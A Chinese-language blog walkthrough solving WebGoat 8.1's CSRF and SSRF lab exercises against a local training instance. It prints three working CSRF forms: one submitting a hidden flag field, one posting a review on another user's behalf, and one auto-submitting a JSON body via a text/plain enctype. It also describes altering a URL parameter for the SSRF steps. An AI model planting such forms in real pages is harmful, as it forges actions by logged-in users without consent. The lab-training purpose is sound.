WebGoatV8.1(A8 2013Request Forgery)详细过关教程

一、Cross-Site Request Forgeries

1.Basic Get CSRF Exercise

根据题目提示说有隐藏表单,找到代码,右击form标签,复制->整个html

 黏贴到编辑器上面并且补全html代码 和action指定的url,保存后修改后缀为html

<html>
<body>
<form accept-charset="UNKNOWN" id="basic-csrf-get" method="POST" name="form1" target="_blank" successcallback="" action="http://192.168.3.88:8080/WebGoat/csrf/basic-get-flag">
        <input name="csrf" type="hidden" value="false">
        <input type="submit" name="submit">
    </form>
</body>
</html>

我这里为了方便没有用http,直接打开编写好的html文件提交,获得flag 

2.Post a review on someone else’s behalf 

这题和上一题的步骤也差不多

 黏贴到编辑器上补齐,后改后缀名

<html>
<body>
<form class="attack-form" accept-charset="UNKNOWN" id="csrf-review" method="POST" name="review-form" successcallback="" action="http://192.168.3.88:8080/WebGoat/csrf/review">
                                <input class="form-control" id="reviewText" name="reviewText" placeholder="a" type="text">
                                <input class="form-control" id="reviewStars" name="stars" type="text">
                                <input type="hidden" name="validateReq" value="2aa14227b9a13d0bede0388a7fba9aa9">
                                <input type="submit" name="submit" value="Submit review">
                            </form>
</body>
</html>

打开后输入,提交。回到webgoat刷新一下,已经有新的评价出现

3.CSRF and content-type

这一题根据题目给出的提交表单进行构造html来提交表单。

而且提交的格式是xml,这里涉及到编码转化的问题,不过题目里面的here跳转的页面已经很好的帮我们解决这个问题,也就是添加一个属性

ENCTYPE="text/plain"

构造的html代码

<html>
    <script>
        window.onload = function() {
        document.getElementById("submit").click();
        }
    </script>   
	<body>                            
		<form class="attack-form" accept-charset="UNKNOWN" id="csrf-feedback" method="POST" preparedata="feedback" action="http://192.168.3.88:8080/WebGoat/csrf/feedback/message" contenttype="application/json" ENCTYPE="text/plain">
			<input type="hidden" name='{"name": "WebGoat","email":"webgoat@webgoat.org","content":"WebGoat is the best!!' value='"}'>
            <input id="submit" type="submit" value="Submit request" style="display:none"/>
		</form>
	</body>
</html>

二、Server-Side Request Forgery

1.Change the URL to display Jerry

设置代理抓包

url值里面的tom改成jerry,放包。即可过关

2.Change the URL to display the Interface Configuration with ifconfig.pro

让我们改成使用ifconfig.pro接口,我们直接访问ifconfig.pro看看这个接口的整个url。有url就简单了

直接抓包改url的值就可以了

  也可以直接在浏览器上面该value值提交

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值